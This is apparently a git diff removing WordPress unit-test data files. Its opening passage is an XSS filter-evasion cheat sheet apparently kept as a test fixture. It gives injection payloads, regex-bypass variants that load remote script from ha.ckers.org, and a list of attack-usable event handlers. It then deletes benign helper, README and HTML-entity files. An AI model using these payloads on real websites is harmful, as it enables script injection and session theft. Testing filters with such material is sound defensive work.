and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Half-Open HTML/JavaScript - <IMG SRC="javascript:alert('XSS')" - Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Double open angle brackets - <IFRAME SRC=http://ha.ckers.org/scriptlet.html < - This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Extraneous Open Brackets - <<SCRIPT>alert("XSS");//<</SCRIPT> - (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorithm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Malformed IMG Tags - <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> - Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - No Quotes/Semicolons - <SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT> - No single quotes or double quotes or semicolons. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Event Handlers List 1 - See Below - Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - --FSCommand() (execute from within an embedded Flash object) - --onAbort() (when user aborts the loading of an image) - --onActivate() (when object is set as the active element) - --onAfterPrint() (activates after user prints or previews print job) - --onAfterUpdate() (activates on data object after updating data in the source object) - --onBeforeActivate() (fires before the object is set as the active element) - --onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - --onBeforeCut() (attacker executes the attack string right before a selection is cut) - --onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - --onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - --onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - --onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - --onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - --onBegin() (fires immediately when the element's timeline begins) - --onBlur() (in the case where another popup is loaded and window loses focus) - --onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - --onCellChange() (fires when data changes in the data provider) - --onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - --onClick() (fires when someone clicks on a form) - --onContextMenu() (user would need to right click on attack area) - --onControlSelect() (fires when the user is about to make a control selection of the object) - --onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - --onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailable() (user would need to change data in an element, or attacker could perform the same function) - --onDataSetChanged() (fires when the data set exposed by a data source object changes) - --onDataSetComplete() (fires to indicate that all data is available from the data source object) - --onDblClick() (fires when user double-clicks a form element or a link) - --onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - --onDrag() (requires that the user drags an object) - --onDragEnd() (requires that the user drags an object) - --onDragLeave() (requires that the user drags an object off a valid location) - --onDragEnter() (requires that the user drags an object into a valid location) - --onDragOver() (requires that the user drags an object into a valid location) - --onDragDrop() (user drops an object (e.g. file) onto the browser window) - --onDrop() (fires when user drops an object (e.g. file) onto the browser window) - - - Browser support: - - - Event Handlers List 2 - See Below - -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - --onError() (loading of a document or image causes an error) - --onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - --onFilterChange() (fires when a visual filter completes state change) - --onFinish() (attacker could create the exploit when marquee is finished looping) - --onFocus() (attacker executes the attack string when the window gets focus) - --onFocusIn() (attacker executes the attack string when window gets focus) - --onFocusOut() (attacker executes the attack string when window loses focus) - --onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - --onKeyDown() (fires when user depresses a key) - --onKeyPress() (fires when user presses or holds down a key) - --onKeyUp() (fires when user releases a key) - --onLayoutComplete() (user would have to print or print preview) - --onLoad() (attacker executes the attack string after the window loads) - --onLoseCapture() (can be exploited by the releaseCapture() method) - --onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - --onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - --onMouseDown() (the attacker would need to get the user to click on an image) - --onMouseEnter() (fires when cursor moves over an object or area) - --onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseMove() (the attacker would need to get the user to mouse over an image or table) - --onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseOver() (fires when cursor moves over an object or area) - --onMouseUp() (the attacker would need to get the user to click on an image) - --onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - --onMove() (user or attacker would move the page) - --onMoveEnd() (user or attacker would move the page) - --onMoveStart() (user or attacker would move the page) - --onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - --onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - --onPause() (fires on every element that is active when the timeline pauses, including the body element) - --onProgress() (attacker would use this as a flash movie was loading) - --onPropertyChange() (user or attacker would need to change an element property) - --onReadyStateChange() (user or attacker would need to change an element property) - - - Browser support: - - - Event Handlers List 3 - See Below - -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - --onReset() (fires when user or attacker resets a form) - --onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - --onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - --onRowEnter() (user or attacker would need to change a row in a data source) - --onRowExit() (user or attacker would need to change a row in a data source) - --onRowsDelete() (user or attacker would need to delete a row in a data source) - --onRowsInserted() (user or attacker would need to insert a row in a data source) - --onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - --onSeek() (fires when the timeline is set to play in any direction other than forward) - --onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onStart() (fires at the beginning of each marquee loop) - --onStop() (user would need to press the stop button or leave the webpage) - --onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - --onSubmit() (requires attacker or user submits a form) - --onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - --onTrackChange() (fires when user or attacker changes track in a playList) - --onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - --onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - --seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - - - Browser support: - - - Evade Regex Filter 1 - <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 2 - <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 3 - <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 4 - <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 5 - <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> - And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Filter Evasion 1 - <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> - This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Filter Evasion 2 - <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/functions/dummy.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/functions/dummy.txt deleted file mode 100644 index 7614ea70..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/functions/dummy.txt +++ /dev/null @@ -1 +0,0 @@ -This is a dummy text file which is only used by the `Tests_Functions_CleanDirsizeCache::test_recurse_dirsize_without_transient()` test. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html-api/token-counting-html-processor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html-api/token-counting-html-processor.php deleted file mode 100644 index b511acaf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html-api/token-counting-html-processor.php +++ /dev/null @@ -1,35 +0,0 @@ - - */ - public $token_seen_count = array(); - - /** - * Gets next token. - * - * @return bool Whether next token was matched. - */ - public function next_token(): bool { - $result = parent::next_token(); - - if ( $this->get_token_type() === '#tag' ) { - $token_name = ( $this->is_tag_closer() ? '-' : '+' ) . $this->get_tag(); - } else { - $token_name = $this->get_token_name(); - } - - if ( ! isset( $this->token_seen_count[ $token_name ] ) ) { - $this->token_seen_count[ $token_name ] = 1; - } else { - ++$this->token_seen_count[ $token_name ]; - } - - return $result; - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/README.md deleted file mode 100644 index aeaad92f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/README.md +++ /dev/null @@ -1,25 +0,0 @@ -# HTML5 Entities - -This directory contains the listing of HTML5 named character references and a script that can be used -to create or update the optimized form for use in the HTML API. - -The HTML5 specification asserts: - -> This list is static and will not be expanded or changed in the future. -> - https://html.spec.whatwg.org/#named-character-references - -The authoritative [`entities.json`](https://html.spec.whatwg.org/entities.json) file comes from the WHATWG server, and -is cached here in the test directory so that it doesn't need to be constantly re-downloaded. - -## Updating the optimized lookup class. - -The [`html5-named-character-references.php`][1] file contains an optimized lookup map for the entities in `entities.json`. -Run the [`generate-html5-named-character-references.php`][2] file to update the auto-generated Core module. - -```bash -~$ php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php -OK: Successfully generated optimized lookup class. -``` - -[1]: ../../../../src/wp-includes/html-api/html5-named-character-references.php -[2]: ./generate-html5-named-character-references.php diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/entities.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/entities.json deleted file mode 100644 index 557170b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/entities.json +++ /dev/null @@ -1,2233 +0,0 @@ -{ - "Æ": { "codepoints": [198], "characters": "\u00C6" }, - "Æ": { "codepoints": [198], "characters": "\u00C6" }, - "&": { "codepoints": [38], "characters": "\u0026" }, - "&": { "codepoints": [38], "characters": "\u0026" }, - "Á": { "codepoints": [193], "characters": "\u00C1" }, - "Á": { "codepoints": [193], "characters": "\u00C1" }, - "Ă": { "codepoints": [258], "characters": "\u0102" }, - "Â": { "codepoints": [194], "characters": "\u00C2" }, - "Â": { "codepoints": [194], "characters": "\u00C2" }, - "А": { "codepoints": [1040], "characters": "\u0410" }, - "𝔄": { "codepoints": [120068], "characters": "\uD835\uDD04" }, - "À": { "codepoints": [192], "characters": "\u00C0" }, - "À": { "codepoints": [192], "characters": "\u00C0" }, - "Α": { "codepoints": [913], "characters": "\u0391" }, - "Ā": { "codepoints": [256], "characters": "\u0100" }, - "⩓": { "codepoints": [10835], "characters": "\u2A53" }, - "Ą": { "codepoints": [260], "characters": "\u0104" }, - "𝔸": { "codepoints": [120120], "characters": "\uD835\uDD38" }, - "⁡": { "codepoints": [8289], "characters": "\u2061" }, - "Å": { "codepoints": [197], "characters": "\u00C5" }, - "Å": { "codepoints": [197], "characters": "\u00C5" }, - "𝒜": { "codepoints": [119964], "characters": "\uD835\uDC9C" }, - "≔": { "codepoints": [8788], "characters": "\u2254" }, - "Ã": { "codepoints": [195], "characters": "\u00C3" }, - "Ã": { "codepoints": [195], "characters": "\u00C3" }, - "Ä": { "codepoints": [196], "characters": "\u00C4" }, - "Ä": { "codepoints": [196], "characters": "\u00C4" }, - "∖": { "codepoints": [8726], "characters": "\u2216" }, - "⫧": { "codepoints": [10983], "characters": "\u2AE7" }, - "⌆": { "codepoints": [8966], "characters": "\u2306" }, - "Б": { "codepoints": [1041], "characters": "\u0411" }, - "∵": { "codepoints": [8757], "characters": "\u2235" }, - "ℬ": { "codepoints": [8492], "characters": "\u212C" }, - "Β": { "codepoints": [914], "characters": "\u0392" }, - "𝔅": { "codepoints": [120069], "characters": "\uD835\uDD05" }, - "𝔹": { "codepoints": [120121], "characters": "\uD835\uDD39" }, - "˘": { "codepoints": [728], "characters": "\u02D8" }, - "ℬ": { "codepoints": [8492], "characters": "\u212C" }, - "≎": { "codepoints": [8782], "characters": "\u224E" }, - "Ч": { "codepoints": [1063], "characters": "\u0427" }, - "©": { "codepoints": [169], "characters": "\u00A9" }, - "©": { "codepoints": [169], "characters": "\u00A9" }, - "Ć": { "codepoints": [262], "characters": "\u0106" }, - "⋒": { "codepoints": [8914], "characters": "\u22D2" }, - "ⅅ": { "codepoints": [8517], "characters": "\u2145" }, - "ℭ": { "codepoints": [8493], "characters": "\u212D" }, - "Č": { "codepoints": [268], "characters": "\u010C" }, - "Ç": { "codepoints": [199], "characters": "\u00C7" }, - "Ç": { "codepoints": [199], "characters": "\u00C7" }, - "Ĉ": { "codepoints": [264], "characters": "\u0108" }, - "∰": { "codepoints": [8752], "characters": "\u2230" }, - "Ċ": { "codepoints": [266], "characters": "\u010A" }, - "¸": { "codepoints": [184], "characters": "\u00B8" }, - "·": { "codepoints": [183], "characters": "\u00B7" }, - "ℭ": { "codepoints": [8493], "characters": "\u212D" }, - "Χ": { "codepoints": [935], "characters": "\u03A7" }, - "⊙": { "codepoints": [8857], "characters": "\u2299" }, - "⊖": { "codepoints": [8854], "characters": "\u2296" }, - "⊕": { "codepoints": [8853], "characters": "\u2295" }, - "⊗": { "codepoints": [8855], "characters": "\u2297" }, - "∲": { "codepoints": [8754], "characters": "\u2232" }, - "”": { "codepoints": [8221], "characters": "\u201D" }, - "’": { "codepoints": [8217], "characters": "\u2019" }, - "∷": { "codepoints": [8759], "characters": "\u2237" }, - "⩴": { "codepoints": [10868], "characters": "\u2A74" }, - "≡": { "codepoints": [8801], "characters": "\u2261" }, - "∯": { "codepoints": [8751], "characters": "\u222F" }, - "∮": { "codepoints": [8750], "characters": "\u222E" }, - "ℂ": { "codepoints": [8450], "characters": "\u2102" }, - "∐": { "codepoints": [8720], "characters": "\u2210" }, - "∳": { "codepoints": [8755], "characters": "\u2233" }, - "⨯": { "codepoints": [10799], "characters": "\u2A2F" }, - "𝒞": { "codepoints": [119966], "characters": "\uD835\uDC9E" }, - "⋓": { "codepoints": [8915], "characters": "\u22D3" }, - "≍": { "codepoints": [8781], "characters": "\u224D" }, - "ⅅ": { "codepoints": [8517], "characters": "\u2145" }, - "⤑": { "codepoints": [10513], "characters": "\u2911" }, - "Ђ": { "codepoints": [1026], "characters": "\u0402" }, - "Ѕ": { "codepoints": [1029], "characters": "\u0405" }, - "Џ": { "codepoints": [1039], "characters": "\u040F" }, - "‡": { "codepoints": [8225], "characters": "\u2021" }, - "↡": { "codepoints": [8609], "characters": "\u21A1" }, - "⫤": { "codepoints": [10980], "characters": "\u2AE4" }, - "Ď": { "codepoints": [270], "characters": "\u010E" }, - "Д": { "codepoints": [1044], "characters": "\u0414" }, - "∇": { "codepoints": [8711], "characters": "\u2207" }, - "Δ": { "codepoints": [916], "characters": "\u0394" }, - "𝔇": { "codepoints": [120071], "characters": "\uD835\uDD07" }, - "´": { "codepoints": [180], "characters": "\u00B4" }, - "˙": { "codepoints": [729], "characters": "\u02D9" }, - "˝": { "codepoints": [733], "characters": "\u02DD" }, - "`": { "codepoints": [96], "characters": "\u0060" }, - "˜": { "codepoints": [732], "characters": "\u02DC" }, - "⋄": { "codepoints": [8900], "characters": "\u22C4" }, - "ⅆ": { "codepoints": [8518], "characters": "\u2146" }, - "𝔻": { "codepoints": [120123], "characters": "\uD835\uDD3B" }, - "¨": { "codepoints": [168], "characters": "\u00A8" }, - "⃜": { "codepoints": [8412], "characters": "\u20DC" }, - "≐": { "codepoints": [8784], "characters": "\u2250" }, - "∯": { "codepoints": [8751], "characters": "\u222F" }, - "¨": { "codepoints": [168], "characters": "\u00A8" }, - "⇓": { "codepoints": [8659], "characters": "\u21D3" }, - "⇐": { "codepoints": [8656], "characters": "\u21D0" }, - "⇔": { "codepoints": [8660], "characters": "\u21D4" }, - "⫤": { "codepoints": [10980], "characters": "\u2AE4" }, - "⟸": { "codepoints": [10232], "characters": "\u27F8" }, - "⟺": { "codepoints": [10234], "characters": "\u27FA" }, - "⟹": { "codepoints": [10233], "characters": "\u27F9" }, - "⇒": { "codepoints": [8658], "characters": "\u21D2" }, - "⊨": { "codepoints": [8872], "characters": "\u22A8" }, - "⇑": { "codepoints": [8657], "characters": "\u21D1" }, - "⇕": { "codepoints": [8661], "characters": "\u21D5" }, - "∥": { "codepoints": [8741], "characters": "\u2225" }, - "↓": { "codepoints": [8595], "characters": "\u2193" }, - "⤓": { "codepoints": [10515], "characters": "\u2913" }, - "⇵": { "codepoints": [8693], "characters": "\u21F5" }, - "̑": { "codepoints": [785], "characters": "\u0311" }, - "⥐": { "codepoints": [10576], "characters": "\u2950" }, - "⥞": { "codepoints": [10590], "characters": "\u295E" }, - "↽": { "codepoints": [8637], "characters": "\u21BD" }, - "⥖": { "codepoints": [10582], "characters": "\u2956" }, - "⥟": { "codepoints": [10591], "characters": "\u295F" }, - "⇁": { "codepoints": [8641], "characters": "\u21C1" }, - "⥗": { "codepoints": [10583], "characters": "\u2957" }, - "⊤": { "codepoints": [8868], "characters": "\u22A4" }, - "↧": { "codepoints": [8615], "characters": "\u21A7" }, - "⇓": { "codepoints": [8659], "characters": "\u21D3" }, - "𝒟": { "codepoints": [119967], "characters": "\uD835\uDC9F" }, - "Đ": { "codepoints": [272], "characters": "\u0110" }, - "Ŋ": { "codepoints": [330], "characters": "\u014A" }, - "Ð": { "codepoints": [208], "characters": "\u00D0" }, - "Ð": { "codepoints": [208], "characters": "\u00D0" }, - "É": { "codepoints": [201], "characters": "\u00C9" }, - "É": { "codepoints": [201], "characters": "\u00C9" }, - "Ě": { "codepoints": [282], "characters": "\u011A" }, - "Ê": { "codepoints": [202], "characters": "\u00CA" }, - "Ê": { "codepoints": [202], "characters": "\u00CA" }, - "Э": { "codepoints": [1069], "characters": "\u042D" }, - "Ė": { "codepoints": [278], "characters": "\u0116" }, - "𝔈": { "codepoints": [120072], "characters": "\uD835\uDD08" }, - "È": { "codepoints": [200], "characters": "\u00C8" }, - "È": { "codepoints": [200], "characters": "\u00C8" }, - "∈": { "codepoints": [8712], "characters": "\u2208" }, - "Ē": { "codepoints": [274], "characters": "\u0112" }, - "◻": { "codepoints": [9723], "characters": "\u25FB" }, - "▫": { "codepoints": [9643], "characters": "\u25AB" }, - "Ę": { "codepoints": [280], "characters": "\u0118" }, - "𝔼": { "codepoints": [120124], "characters": "\uD835\uDD3C" }, - "Ε": { "codepoints": [917], "characters": "\u0395" }, - "⩵": { "codepoints": [10869], "characters": "\u2A75" }, - "≂": { "codepoints": [8770], "characters": "\u2242" }, - "⇌": { "codepoints": [8652], "characters": "\u21CC" }, - "ℰ": { "codepoints": [8496], "characters": "\u2130" }, - "⩳": { "codepoints": [10867], "characters": "\u2A73" }, - "Η": { "codepoints": [919], "characters": "\u0397" }, - "Ë": { "codepoints": [203], "characters": "\u00CB" }, - "Ë": { "codepoints": [203], "characters": "\u00CB" }, - "∃": { "codepoints": [8707], "characters": "\u2203" }, - "ⅇ": { "codepoints": [8519], "characters": "\u2147" }, - "Ф": { "codepoints": [1060], "characters": "\u0424" }, - "𝔉": { "codepoints": [120073], "characters": "\uD835\uDD09" }, - "◼": { "codepoints": [9724], "characters": "\u25FC" }, - "▪": { "codepoints": [9642], "characters": "\u25AA" }, - "𝔽": { "codepoints": [120125], "characters": "\uD835\uDD3D" }, - "∀": { "codepoints": [8704], "characters": "\u2200" }, - "ℱ": { "codepoints": [8497], "characters": "\u2131" }, - "ℱ": { "codepoints": [8497], "characters": "\u2131" }, - "Ѓ": { "codepoints": [1027], "characters": "\u0403" }, - ">": { "codepoints": [62], "characters": "\u003E" }, - ">": { "codepoints": [62], "characters": "\u003E" }, - "Γ": { "codepoints": [915], "characters": "\u0393" }, - "Ϝ": { "codepoints": [988], "characters": "\u03DC" }, - "Ğ": { "codepoints": [286], "characters": "\u011E" }, - "Ģ": { "codepoints": [290], "characters": "\u0122" }, - "Ĝ": { "codepoints": [284], "characters": "\u011C" }, - "Г": { "codepoints": [1043], "characters": "\u0413" }, - "Ġ": { "codepoints": [288], "characters": "\u0120" }, - "𝔊": { "codepoints": [120074], "characters": "\uD835\uDD0A" }, - "⋙": { "codepoints": [8921], "characters": "\u22D9" }, - "𝔾": { "codepoints": [120126], "characters": "\uD835\uDD3E" }, - "≥": { "codepoints": [8805], "characters": "\u2265" }, - "⋛": { "codepoints": [8923], "characters": "\u22DB" }, - "≧": { "codepoints": [8807], "characters": "\u2267" }, - "⪢": { "codepoints": [10914], "characters": "\u2AA2" }, - "≷": { "codepoints": [8823], "characters": "\u2277" }, - "⩾": { "codepoints": [10878], "characters": "\u2A7E" }, - "≳": { "codepoints": [8819], "characters": "\u2273" }, - "𝒢": { "codepoints": [119970], "characters": "\uD835\uDCA2" }, - "≫": { "codepoints": [8811], "characters": "\u226B" }, - "Ъ": { "codepoints": [1066], "characters": "\u042A" }, - "ˇ": { "codepoints": [711], "characters": "\u02C7" }, - "^": { "codepoints": [94], "characters": "\u005E" }, - "Ĥ": { "codepoints": [292], "characters": "\u0124" }, - "ℌ": { "codepoints": [8460], "characters": "\u210C" }, - "ℋ": { "codepoints": [8459], "characters": "\u210B" }, - "ℍ": { "codepoints": [8461], "characters": "\u210D" }, - "─": { "codepoints": [9472], "characters": "\u2500" }, - "ℋ": { "codepoints": [8459], "characters": "\u210B" }, - "Ħ": { "codepoints": [294], "characters": "\u0126" }, - "≎": { "codepoints": [8782], "characters": "\u224E" }, - "≏": { "codepoints": [8783], "characters": "\u224F" }, - "Е": { "codepoints": [1045], "characters": "\u0415" }, - "IJ": { "codepoints": [306], "characters": "\u0132" }, - "Ё": { "codepoints": [1025], "characters": "\u0401" }, - "Í": { "codepoints": [205], "characters": "\u00CD" }, - "Í": { "codepoints": [205], "characters": "\u00CD" }, - "Î": { "codepoints": [206], "characters": "\u00CE" }, - "Î": { "codepoints": [206], "characters": "\u00CE" }, - "И": { "codepoints": [1048], "characters": "\u0418" }, - "İ": { "codepoints": [304], "characters": "\u0130" }, - "ℑ": { "codepoints": [8465], "characters": "\u2111" }, - "Ì": { "codepoints": [204], "characters": "\u00CC" }, - "Ì": { "codepoints": [204], "characters": "\u00CC" }, - "ℑ": { "codepoints": [8465], "characters": "\u2111" }, - "Ī": { "codepoints": [298], "characters": "\u012A" }, - "ⅈ": { "codepoints": [8520], "characters": "\u2148" }, - "⇒": { "codepoints": [8658], "characters": "\u21D2" }, - "∬": { "codepoints": [8748], "characters": "\u222C" }, - "∫": { "codepoints": [8747], "characters": "\u222B" }, - "⋂": { "codepoints": [8898], "characters": "\u22C2" }, - "⁣": { "codepoints": [8291], "characters": "\u2063" }, - "⁢": { "codepoints": [8290], "characters": "\u2062" }, - "Į": { "codepoints": [302], "characters": "\u012E" }, - "𝕀": { "codepoints": [120128], "characters": "\uD835\uDD40" }, - "Ι": { "codepoints": [921], "characters": "\u0399" }, - "ℐ": { "codepoints": [8464], "characters": "\u2110" }, - "Ĩ": { "codepoints": [296], "characters": "\u0128" }, - "І": { "codepoints": [1030], "characters": "\u0406" }, - "Ï": { "codepoints": [207], "characters": "\u00CF" }, - "Ï": { "codepoints": [207], "characters": "\u00CF" }, - "Ĵ": { "codepoints": [308], "characters": "\u0134" }, - "Й": { "codepoints": [1049], "characters": "\u0419" }, - "𝔍": { "codepoints": [120077], "characters": "\uD835\uDD0D" }, - "𝕁": { "codepoints": [120129], "characters": "\uD835\uDD41" }, - "𝒥": { "codepoints": [119973], "characters": "\uD835\uDCA5" }, - "Ј": { "codepoints": [1032], "characters": "\u0408" }, - "Є": { "codepoints": [1028], "characters": "\u0404" }, - "Х": { "codepoints": [1061], "characters": "\u0425" }, - 